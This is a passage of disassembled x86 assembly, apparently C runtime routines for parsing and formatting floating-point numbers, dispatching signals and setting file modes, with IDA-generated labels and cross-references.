		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D094, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D094, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC014
		mov	eax, offset dword_4DC014
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC010
		mov	eax, offset dword_4DC010
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC018
		mov	eax, offset dword_4DC018
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DC00C
		mov	eax, offset dword_4DC00C


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBEAC
		and	dword_4DBEAC, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4DC
		mov	dword_43D4DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4D0
		mov	ecx, dword_43D4D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D460h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBEAC, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4DC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D45C, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDEC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDEC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


